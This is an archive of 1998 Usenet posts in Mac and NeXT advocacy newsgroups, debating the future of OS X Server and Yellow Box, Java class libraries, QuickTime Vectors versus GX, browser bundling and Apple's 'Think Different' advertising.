> > WebObjects user could then install tiFFany and other Yellow-Box
> > apps, and have them run perfectly as if they were NT native
> > applications? Permit me to doubt.
>
> No. As weird as it might be, you're absolutely right (barring details
> like licensing issues). We've been trying to explain this for some
> time now.
>
> mildly amused,
> Holger
I side with Holger!
In fact, all the WebObjects GUI based development tools, such as
_ProjectBuilder_, _WebObjectsBuilder_, and _EOModeler_ (for starters) are
written to the Yellow APIs from Foundation on up through the AppKit. A web
application built with WebObjects may only use Foundation, but the tools you
use to build it require the full YB. Just as it is TIFFany and the other YB
apps out there. Therefore, installing a WebObjects _development_ environment
*will* give you *all* the runtime resources that you need in order to run
*any* YB based app out there. Note that the WebObjects deployment
environment probably won't be sufficient, however...but if you're doing WO,
you're gonna have the development environment installed somewhere since that
comes before you have anything to deploy!
There is, however, one caveat: library versioning. Obviously, your yellow
app has to work with the runtime version that is installed with WebObjects.
In most cases this should not be a problem (an app built against a lower
numbered runtime will typically work fine with a higher numbered runtime,
though the reverse is not always the case--there is good backwards
compatability, but forwards compatability is a bit more dicey).
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: The future of OS X Server is bleak
Message-ID: <nagleF34709.2FK@netcom.com>
Organization: ICGNetcom
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com>
Date: Sat, 28 Nov 1998 04:26:33 GMT
Sender: nagle@netcom6.netcom.com
mark@ns1.oaai.com (Mark Onyschuk) writes:
>No, from our perspective, Sun has been more interested in generating specs
>for new class libraries, than fixing existing weak libraries. Swing isn't the
>be-all-and-end-all, and still, how long did it take to get even here?!
>If you think that the Java class libraries represent quality, then you haven't
>seen much quality in class libraries (this is not a slam: the fact is that
>most people haven't seen much quality in class libraries to date).
Yes.
I think the way to go with class libraries is open source.
That way, the bugs get fixed. Class libraries need solidity more than
they need features. The killer is waiting a year for a minor fix to get in.
Otherwise, you end up building your system on mush.
John Nagle
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 04:36:59 GMT
Organization: Primenet (602)416-7000
Message-ID: <73nulb$8l7$1@nnrp03.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com>
Mark Onyschuk <mark@OAAI.COM> wrote:
: No, from our perspective, Sun has been more interested in generating specs
: for new class libraries, than fixing existing weak libraries. Swing isn't the
: be-all-and-end-all, and still, how long did it take to get even here?!
: If you think that the Java class libraries represent quality, then you haven't
: seen much quality in class libraries (this is not a slam: the fact is that
: most people haven't seen much quality in class libraries to date).
I think these criticisms are quite valid.
I would have liked (http://www.dejanews.com/getdoc.xp?AN=262730238) for
Sun to follow the AWT with a similarly sized but more reliable class
library (before moving on to a large project like Swing).
: The only point I want to make out of this is that a trade-off has been made:
: consistency for ubiquity - very much the trade-off made in the Unix world
: to conquer the proprietary OSes of the '70's and '80's.
It does seem that Sun is more interested in generating momentum than in
generating progress. I hadn't thought of the UNIX connection. That may
be one of the things they have in mind.
At this point there seems to be sufficient momentum to carry forward to
some progress. Nonetheless, a lot is riding on Swing being a stable
environment.
John
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: 28 Nov 1998 04:44:52 GMT
Organization: MiscKit Development
Message-ID: <73nv44$h8b$2@news.xmission.com>
References: <73iop0$29t@crab.afs.com> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca> <73mpdp$a0o@crab.afs.com> <912196432.643557@watserv4.uwaterloo.ca>
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NNTP-Posting-Date: 28 Nov 1998 04:44:52 GMT
dfevans@bbcr.uwaterloo.ca (David Evans) wrote:
> >Chuck Swiger was working for Ted at the time,
> >and can supply the full story. It may be too long ago for DejaNews.
> >
>
> Oh, I don't think that I need to relive that saga again <shudder>.
> That's why I mentioned it in the same article as Steve Sarich. I
> think that Mark Crispin was even still around in those days!
Heh. Too bad Sean Eric Fagan was gone by then. That little "extra" face
icon in Newsgrazer hasn't seen much action since those days...
<grin>
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 04:44:56 GMT
Organization: MiscKit Development
Message-ID: <73nv48$h8b$3@news.xmission.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <gmgraves-2711981053300001@sf-usr0-13-77.dialup.slip.net> <73n3s3$hnp$1@supernews.com> <73nqh4$bos@crab.afs.com>
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NNTP-Posting-Date: 28 Nov 1998 04:44:56 GMT
"Greg Anderson" <greg@afs.com> wrote:
> Ironically, very early in the Java Revolution, Jayson Adams -- Mr.
> NewsGrazer -- wrote some Java classes based on the AppKit that were
> purchased by NetScape, christened JFC (I think; please don't hold me
> to that acronym), and promptly buried for some unknown reason. I
> remember evaluating them.
Didn't those end up being one of Swing's ancestors, at least in part? I'm
not sure if "buried" is quite right...
> >Now if Java just had categories (grumble grumble grumble).
>
> Yeah, that seems to be exclusive to ObjC. Too bad, categories are one
> of the most useful paradigms ever invented for OOP.
This is my biggest gripe with Java: no categories! And they could be added
in a way that fits with Java and is even in line with the security model.
Take a look at:
http://www.stepwise.com/Articles/Technical/JavaCats.html
When Howard submitted this idea to Stepwise, I took quite a bit of interest.
(He and I further refined it into the article that was published on
Stepwise.) I think it is a great idea, and I really, _really_ wish Sun would
do this. This proposition would make Java a lot better IMHO...but I don't
think those dunderheads will ever pay attention to the idea.
Of course, the ability to have a method like Objective-C's doesNotRecognize
and a complete forwarding mechanism for unknown messages would be really
great, too...at least they finally have a complete introspection facility,
but after how long? Sheesh. They even had Objective-C to copy from (and you
can see where they directly lifted ideas) and yet they _still_ can't seem to
get it right. Doh!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: 28 Nov 1998 04:24:36 GMT
Organization: Digital Fix Development
Message-ID: <73ntu4$h5r$1@news.digifix.com>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca> <73lapb$i5q$1@news.digifix.com> <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca>
In-Reply-To: <1dj5613.llb9kuisu5agN@p008.intchg2.net.ubc.ca>
On 11/27/98, Bruce Bennett wrote:
>Scott Anguish <sanguish@digifix.com> wrote:
>
>>>in testifying against Microsoft's virtual monopoly in the desktop
OS
>>>market, Avie Tevanian claimed that Apple had been compelled to
>>>abandon Rhapsody, since it's impossible to break into the
MS-dominated
>>>market with a new OS.
>
>>>Surely this can be taken as a fairly clear signal that Mac OS X
Server
>>>(== Rhapsody) won't be released.
>
>> No.
>>
>> What was said is that Apple had to drop the idea of
>>positioning Rhapsody as a __NEW__ OS.
>>
>> Mac OS X Server will be released.
>
>Excellent. Now if only Apple would confirm this.
What exactly do you call Steve's note to Don Crabb that he was
full of crap about it being cancelled?
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 28 Nov 1998 05:06:31 GMT
Organization: Primenet (602)416-7000
Message-ID: <73o0cn$8l7$2@nnrp03.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com>
<F33923.H85@T-FCN.Net> <73mknv$q24$1@nnrp02.primenet.com> <F33H5G.Lnu@T-FCN.Net> <73mus4$skq$1@nnrp02.primenet.com> <365F1C5C.FD0AC176@ericsson.com> <F33xKo.3wL@T-FCN.Net>
In article <F33xKo.3wL@T-FCN.Net> you wrote:
: John Jensen wrote:
: > You may think Lawson sounds differnt talking about GX than you talking
: > about YB, but what's the difference? You have to take what Apple
: > gives you, and if they give you nothing you have to wait.
: [...]
: So badmouth Apple all you want John, that's the local sport in this group
: anyway, but your line above seems pretty mean spirited to me. I've never
: said anything personal about your comments, I would suggest you leave
: personal comments out of yours.
All this because I compared you to Lawson? I like Lawson.
: The reality is that YB is a powerful development system. Do you disagree
: with this? I don't believe you do, so why would my support of the product
: surprise you?
I have a lot of sympathy for people using the Yellow Box. The environment
has worked well for a lot of people here, and I can respect their loyalty
to the platform.
My reservation is with Apple and its role as steward of the technology.
: > http://java.sun.com/100percent/latestlist.html
: You are being disintigous, the question is about where the Java _stand
: alone_ apps are, and this list contains none. [...]
Come on, there are lots of applications listed. Since you say there are
none, all I have to do is name one:
"WebDoctor is a Computerized Patient Record (CPR) application. The data is
stored in an underlying Oracle hospital database."
It looks like most of the applications listed are corporate middleware.
I've mentioned this before as a primary benefit of Java for Apple ... a
much needed passage to the workplace.
: I know of not a single "shinkwrap" Java app.
I think that is true. For the time being at least natve code dominates
the shelves at Fry's.
: Moreover I'm not sure your app is any different, as any search I did on
: "primenet" in whois pointed me to web pages describing web based products.
: So, do you sell a "standalone" app, or is it a web based app?
I prefer to keep my work and advocacy personas in seperate boxes (primenet
is just an isp). I can give you a link to an open source project I did.
It is a genuine application, though it has grown a bit stale throuh
inactivity (I handed off the project to a new leader and await his
next-generation release):
http://members.tripod.com/~mpTOOLS
John
Message-ID: <365F885C.D437BFC1@nstar.net>
Date: Fri, 27 Nov 1998 23:21:32 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net>
<365F1BD0.55ED9D2E@ericsson.com> <F33w63.3FB@T-FCN.Net>
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Maury Markowitz wrote:
> Sorry, this is simply not the case when compared to the other item in the
> thread. I've found a few sucky classes in YB (NSFileWrapper comes to mind,
> *&^%#&%*^$) but for the most part even the most basic YB classes are better
> than the best of the best in Java, PP, MacApp or MFC. The text handling
> for instance, has no peer that I have seen anywhere. Then there's whole
> classes of software that simply don't exist - EO, WEO etc.
Well, shame on me for sticking to the topic in a thread about Java.
> For _now_ YB remains as the only tool out there that lets me concentrate
> on the code and not filling in gaps in the objects. This has not yet
> happened under Java notably AWT which is simply horrid.
And again you've turned a matter of relativity into a matter of
absolutes.
[cut]
> > A co-worker complains that if Java had been sold only as a programming
> > language it would have taken C++'s place in a short span of time.
>
> Well I agree to an extent, with the exception that I think he
> underestimates the lazyness of programmers considerably.
Not so; it's the laziness of programmers that Java counts on. Sun is
busy building prepackaged class libraries for easily building
network-aware applications, and the language itself provides for a much
"kinder, gentler" environment than C++ provides.
Then there are debugging, compiler support (the C++ specification
strongly recommends that C++ objects from different compilers *not* be
linked against each other), and numerous other language-specific
properties.
> Perhaps the proper approach was the exact opposite - make a system on
> YOUR platform that's so good everyone's drooling over it and wants it on
> their system too. But isn't that what YB was supposed to be?
You tell me. Compare YB's success with Java's.
MJP
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Making IE the default browser
Message-ID: <milo_mklinux-2711982330380001@pppsl862.chicagonet.net>
References: <01be13e5$fa4d48c0$06387880@chewy>
NNTP-Posting-Date: Sat, 28 Nov 1998 00:31:32 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 27 Nov 1998 23:30:37 -0600
In article <01be13e5$fa4d48c0$06387880@chewy>, "Todd Heberlein (todd at
NetSQ dot com)" <todd@dev.null> wrote:
>In the "Knife the baby" thread, there was a subthread discussing
>Apple's choice to make IE Apple's default browser.
>
>Also, I heard on CNBC today that a witness claims that IE has 60% share
>of "new" browsers installed, while Netscape has only 30%. (Sorry,
>can't find a URL reference).
>
>So along these lines, I thought the following might be of some interest
>to some people in this group. Sounding like a broken record, this
>information is from "Competing on Internet Time".
>
>o March 96, AOL makes IE default browser, MS puts AOL on Windows 95
>desktop.
>
>o June 96, CompuServe makes IE default browser, MS puts CompuServe on
>Windows 95 desktop.
>
>o July 96, AT&T makes IE default browser, MS bundles WorldNet with
>Windows 95.
>
>o July 96, Netcom makes IE default browser, MS bundles Netcom with
>Windows 95.
>
>o October 96, Prodigy makes IE default browser, MS bundles Prodigy with
>Windows 95.
>
>o July 97, Quicken choses IE as preferred browser, MS designated
>Quicken as a "premier Active Channel" on IE 4.0.
>
>o August 97, Apple makes IE default browser, MS invests $150 million in
>Apple.
>
>o August 97, KPMG replaces Navigator with IE on 18,000 desktops, MS pay
>up to $10 million in training costs for KPMG's new Microsoft enterprise
>solution group.
>
>Todd
How much money will Microsoft send me if I tell them IE is the default
browser on my computer? :D
Message-ID: <365F8F48.866F3FEB@nstar.net>
Date: Fri, 27 Nov 1998 23:51:04 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net> <73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net> <365EE279.D5E5A5F2@ericsson.com> <F33HG5.Lw1@T-FCN.Net> <365F1BD0.55ED9D2E@ericsson.com> <slrn75ui2n.gk2.mark@ns1.oaai.com>
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Mark Onyschuk wrote:
> No, from our perspective, Sun has been more interested in generating specs
> for new class libraries, than fixing existing weak libraries. Swing isn't the
> be-all-and-end-all, and still, how long did it take to get even here?!
Trust me, I acknowledge and understand your perspective, but still I
don't find it compelling, nor do many programmers. Functionality and
ubiquity trump elegance every day of the week and twice on Mondays. You
might have noticed that Perl is anything but an elegant language.
You may also have noticed that the various technologies present on
Windows seriously lack elegance but they are "complete and useful", in
the wording of my previous posting. I suspect it will soon be
acknowledged as a truism that "a technology in the hand is worth two in
the bush".
You are willing to invest in and wait for Yellow Box in order to
preserve your way of life. Look around and ask yourself how many of your
colleagues would settle the for same conditions. I didn't get into
computer science for the sake of enjoying class libraries; I did it for
the sake of writing finished products. I only have so many coding years
in me; what good is a rapid development environment if I have to wait
two years before clients can use my software?
> If you think that the Java class libraries represent quality, then you haven't
> seen much quality in class libraries (this is not a slam: the fact is that
> most people haven't seen much quality in class libraries to date).
There's a good reason for that: technology moves quickly and few people
or industries have time to wait (or money to spend) for the level of
quality you expect. It is a fact that I can use RogueWave to build C++
projects today; it doesn't particularly matter that I don't consider
RogueWave's libraries to be of particularly high quality. They are
sufficient, and that is all that matters.
> They're not Java's fault. I'd argue though that one might be able to make a
> reasonable argument that they're Sun's fault. If job #1 for Sun was to make
> a development environment that was consistent, and dependable for developers
> then they could spend the bucks and make it happen for the various environ-
> ments, but they didn't pursue this route. They decided (and it's a trade-
> off, you could make an equally good argument for what they did) to let every-
> one and their brother build a VM, and let the market shake things out.
That sword cuts both ways, Mark. If job #1 for Apple were to make YB a
cross-platform product we'd see the Linux port for which just about
*everyone* has been clamoring in this newsgroup. Gosh, come to think of
it, YB would have shipped for *any* platform since it was acquired by
Apple, but it hasn't done that.
I don't say this to harp on the shipment issue; it simply has to be said
that you cannot throw stones from your vantage point. That, in itself,
doesn't vindicate Sun, but if you ask yourself what might have
contributed to *getting* us here, it might conjure up some tough
answers. Maybe there are certain systematic realities that can't be
wished away.
> The only point I want to make out of this is that a trade-off has been made:
> consistency for ubiquity - very much the trade-off made in the Unix world
> to conquer the proprietary OSes of the '70's and '80's.
Or Perl to conquer many many many proprietary, half-compiled or
interpreted languages in use in the '90s. I've worked in telecomm a bit,
and I've seen languages I never want to see again, and probably never
will, because automation with Perl has become such a desirable thing
that proprietary languages, for all of their individual consistencies,
cannot measure up.
It's a bitter pill to swallow sometimes, but there you go. One of my
main projects right now is the very painful process of binding a huge
C++ hierarchy to the Perl language. It's hard to do and no fun at all,
but if the library were in Objective-C I suspect I'd be asked to do the
same thing. No matter how "elegant" Obj-C is, it still doesn't satisfy
our need for a quick, portable scripting layer. Some of my colleagues
are embedding Perl interpreters in their projects to solve similar
problems from a different angle. It saves them time, doesn't buy them
elegance. So what? Time is better than elegance.
Take a cue from the decisions that got us into the Y2K fiasco. Contrary
to popular belief, they were *good* decisions. Not elegance, not robust,
but good decisions nevertheless.
> Indeed. As a language it's a great way to recoup your losses, at least insofar
> as you're able to leverage some time spent learning syntax, from throwing
> money into the deep C++ money pit.
How deep is the Yellow Box money pit, Mark? The company I work for makes
money on C++ development.
> No it's not a failure. But it sure is a compromise and perhaps this is the
> way that it has to be in order that it is sucessful.
Okay, I apologize and take back any condescension in the rest of my
posting. Quite simply, in my opinion the above is almost certainly true
and there's no point fighting it.
> Most of all lets not
> lose sight of this and fall into another "silver-bullet-programming-language"
> trap like the industry seemed to fall into in the 80's with C++.
Well, don't set up strawmen and you won't find everyone falling down all
the time. *I* never called C++ a silver-bullet-programming-language, I
just use it. When you hear people saying stupid things the best approach
is to ignore them. And yes, it works on me, too :-)
MJP
Message-ID: <365F902A.D61EA1F8@nstar.net>
Date: Fri, 27 Nov 1998 23:54:50 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
<73hti4$73$1@nnrp02.primenet.com> <gmgraves-2611981055120001@sf-usr0-43-107.dialup.slip.net>
<73kctc$cju$1@nnrp03.primenet.com> <F33923.H85@T-FCN.Net>
<73mknv$q24$1@nnrp02.primenet.com> <F33H5G.Lnu@T-FCN.Net>
<73mus4$skq$1@nnrp02.primenet.com> <365F1C5C.FD0AC176@ericsson.com> <F33xKo.3wL@T-FCN.Net>
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Maury Markowitz wrote:
[cut]
> You are being disintigous, the question is about where the Java _stand
> alone_ apps are, and this list contains none. I visited the links for the
> various items listed, and of all the ones I went to are either web applets,
> or Java class libs. I can think of a few myself, but the argument is still
> basically true as far as I can see - I know of not a single "shinkwrap"
> Java app.
There's little point in continuing this line of reasoning until you've
reviewed the arguments made by Terry Wilcox about a year ago. They're
the same arguments you're rehashing today and the rebuttals are all in
DejaNews.
[cut]
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 23:01:40 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B284DFD9-20CA4@206.165.43.131>
References: <F33vCo.30p@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B28483DD-9B4B@206.165.43.169> "Lawson English" wrote:
>> And here's a few things that are NOT in QT vectors:
>
> Yup, predictable. Agrument for GX falls, I'll change the argument
again.
>
> Last week your argument was that cancelling GX was dumb because
>without
>it you couldn't edit QTV. Thus we need to keep GX so we can work with
QTV,
>QTV is the reason to keep GX.
>
> Now John points out that it's totally possible to use QTV without GX.
My argument was and is that there is no EASY way to create QT vectors via
GX (I'm well aware of several apps that do it without GX -they all cost far
more than GXFCN will) and since GX was designed for DTP, is more powerful
in many ways than eQD/DPS/PDF *AND* allows one to directly convert from DTP
graphics to QT vector graphics with no loss of fidelity in color or
perspective, it seems obvious that Apple is [once again] shooting itself in
the foot by embracing PDF/eQD over GX. At the least, eQD should be extended
to handle the GX/QTV color and perspective, as well as provide a single API
for content creation for both DTP and QT multi-media. The current
incarnation of GX, while by no means perfect, is a better fit for all of
Apple's graphics requirements than the announced capabilities of eQD.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 23:03:15 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B284E036-22277@206.165.43.131>
References: <F33vFF.351@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B28486B7-146CC@206.165.43.169> "Lawson English" wrote:
>> So why would anyone NOT want to use the more powerful graphics
>system?
>>
>> Answer:
>
> Because you've whined so much no one would ever touch it with a ten foot
>pole.
I see. So, the oh-so-mature Macintosh development and user community shoots
itself in the foot because of MY whining?
I must be an incredibly powerful personality...
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 00:51:26 -0500
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Chad Irby wrote:
>
> Not very well at all. It's just that a huge portion of the "Windows"
> software out there is just old DOS stuff, repackaged, and marked "Windows
> compatible." Take a run through Best Buy sometime and read some of the
> boxes in the software section.
You should also read the ones that say "Win95/98 required"--they won't
run at all under DOS or Win3.x. There's an awful lot of those programs,
too. Heck, how many *games* do you think are written for Win95/98/Direct
X that will run under Win3.x? Last time I look it was zero. ANd that's
*games.* I just picked up a game that was an old favorite of mine on the
Amiga years ago, the Populous series (this new one is called "Populous:
the Beginning"). Guess what? Win95/98 *required.*
>
> > Really? Just how then do you suppose that DOS programs run under Win98
> > in a "DOS box?"
>
> Like normal. It's a shame to have to deal with it at all, though,
> especially since so many of those old DOS programs are pretty crappy.
As I say, I don't deal with it.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 00:53:23 -0500
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Chad Irby wrote:
>
>
> When the choice is "choosing" a per-processor deal that gets you Windows
> for $70/copy, versus "choosing" to buy it at full retail for a couple of
> hundred, there's no real choice.
>
> And it's very, very identical...
>
First, the per-processor deals (which were also voluntary at the time)
no longer exist. Second, the proce differences are more like a few
dollars a copy. What you suggest isn't even factual.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 00:54:47 -0500
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Chad Irby wrote:
>
>
> Not at all. It was a very sure indicator (for anyone who actually *saw*
> Gates' testimony, instead of reading a summary posted on a Microsoft Web
> site) that he was trying (unsuccessfully) to evade the question.
>
> If he wasn't aware of their existence, all he had to say was "I don't
> remember that, I never wrote it." Instead, he went off into "well, it's
> according to what the words you're using mean."
>
> Arguing semantics instead of actual denial. Big difference.
If Gates knew in advance he could simply have prepared an answer in
advance that wouldn't have sounded evasive, a la Clinton.
Message-ID: <365F9792.BC3B5D50@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
References: <F33vFF.351@T-FCN.Net> <B284E036-22277@206.165.43.131>
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NNTP-Posting-Date: Sat, 28 Nov 1998 01:22:25 EDT
Date: Fri, 27 Nov 1998 22:26:26 -0800
Lawson English wrote:
* I see. So, the oh-so-mature Macintosh development and user
* community shootsitself in the foot because of MY whining?
* I must be an incredibly powerful personality...
Sorry --- you're not often right, but you're wrong again . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: user@this.here.com (inphlux)
Newsgroups: comp.sys.next.advocacy
Subject: ipnat for os x server
Message-ID: <user-2811980137260001@dub234042.columbus.rr.com>
Organization: lotek - www.lotek.org
Date: Sat, 28 Nov 1998 01:37:26 -0500
NNTP-Posting-Date: Sat, 28 Nov 1998 01:40:42 EDT
has anyone been able to compile ip nat for os x server? i took a look at
the netbsd source, but porting it was beyond my skill and allowance of
free time (not to mention it might be impossible without access to kernel
source). i noticed theres an ip forwarding switch in the mach kernel, and
theres even an ipnat man page, but no binary. perhaps the release will be
honed to the point that blue box can share ip address with yellow via
user-invisible ipnat w/ simple checkbox in network preferences panel,
although maybe i am dreaming. in any case it would be nice to have the
ability to use the mac as a gateway without first installing linuxppc or
netbsd on it, as most of the infrastructure to do this in osxs is already
there. for now its telnet from the LC II to osxs' aliased 192.168.2.1
address and get out to the net from there, although this is a slightly
less than elegant solution.
thanks in advance for any advice..
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 28 Nov 1998 01:18:11 -0500
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"R. Tang" wrote:
>
> Ad directors call it that. Media managers call it that. You don't
> get to call it different.
Says who? That's silly beyond words. Of course, I can call it anything I
like.
>
> > Hmmmm...I seem to recall an awful lot of people surveyed who had
> >no idea on earth *what* the commercials were about...:)
>
> And you'll find that for a LOT of ad campaigns. Standard market
> research finding.
And you think that's a big plus for Apple, the old, "...a lot of people
do it, so I can too..." defense?
>
> >Of course, it's so much easier just to forget about those few million
> >people, isn't it?
>
> And you find it easy to forget the few million people for which
> the ads WERE effective, don't you? No campaign is 100% effective.
Well, this one was far from it, that's for sure...:)
> >
> >Yes, I think really. Tell me, do you honestly believe an old b&w picture
> >of Einstein with nothing but an Apple logo to communicate the meaning of
> >the photograph would be more effective than this:
> >
> >"Hi, I'm Albert Einstein's great grandson. While I can't say for sure
> >what type of computer my Great Granddad would have used, I'll bet he'd
> >have used a Mac. I know I do, and that's why I think he would have."
>
> Yes. Indirect learning, based on Kauffman's research.
Great. Keep on thinking like that and Apple won't making 2005...:)
>
> The fact that you don't know about this type of psych effect
> doesn't mean it doesn't occur or it isn't effective. It exists. It gets
> used.
Which doesn't mean it is *the* most effective method (which it obviously
isn't.)
> >
> >That, my friend, is a Direct Endorsement. There is no ambiguity, no
> >doubt, and no question. And *that* is something Apple *never* did.
> >That's why I say either you're dead wrong about Apple getting any sort
> >of direct endorsement from these estates (what it seems Apple got was
> >permission to use photographs provided no direct sales pitches were made
> >with them), or else the Apple marketing department is made up of the
> >real bozos around here.
>
> And your ignorance is why....you're ignorant.
>
> You're making distinctions where, legally, there are none. You
> wanna argue about it? Argue with the lawyers. If you use a famous person's
> image in a promotional campaign, IT'S AN ENDORSEMENT. Legally.
What poppycock...:)
> >
> >
> >Shows what an imbecile you are to so badly misinterpret what I've said
> >so consistently. (I don't like calling names but you seem as fond of
> >doing that as you are bereft of the ability to reason, so I guess I can
> >make an exception.) I repeat: you plainly do not see the difference
> >between obtaining permission to use estate photographs in a
> >non-commercial manner, and the direct endorsement of Apple as a company
> >and the Mac as a computer by these estates.
>
> I see it quite plainly.
>
> However, the use of the photographs are clearly commercial. The
> fact is, you're highly ignorant of ad and promotional campaigns. The Think
> Different campaign is clearly commercial.
>
> Think Different.
>
> Think Pink.
>
> Same industry, even.
Think Pink? Is this a pitch for recovering alcoholics?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
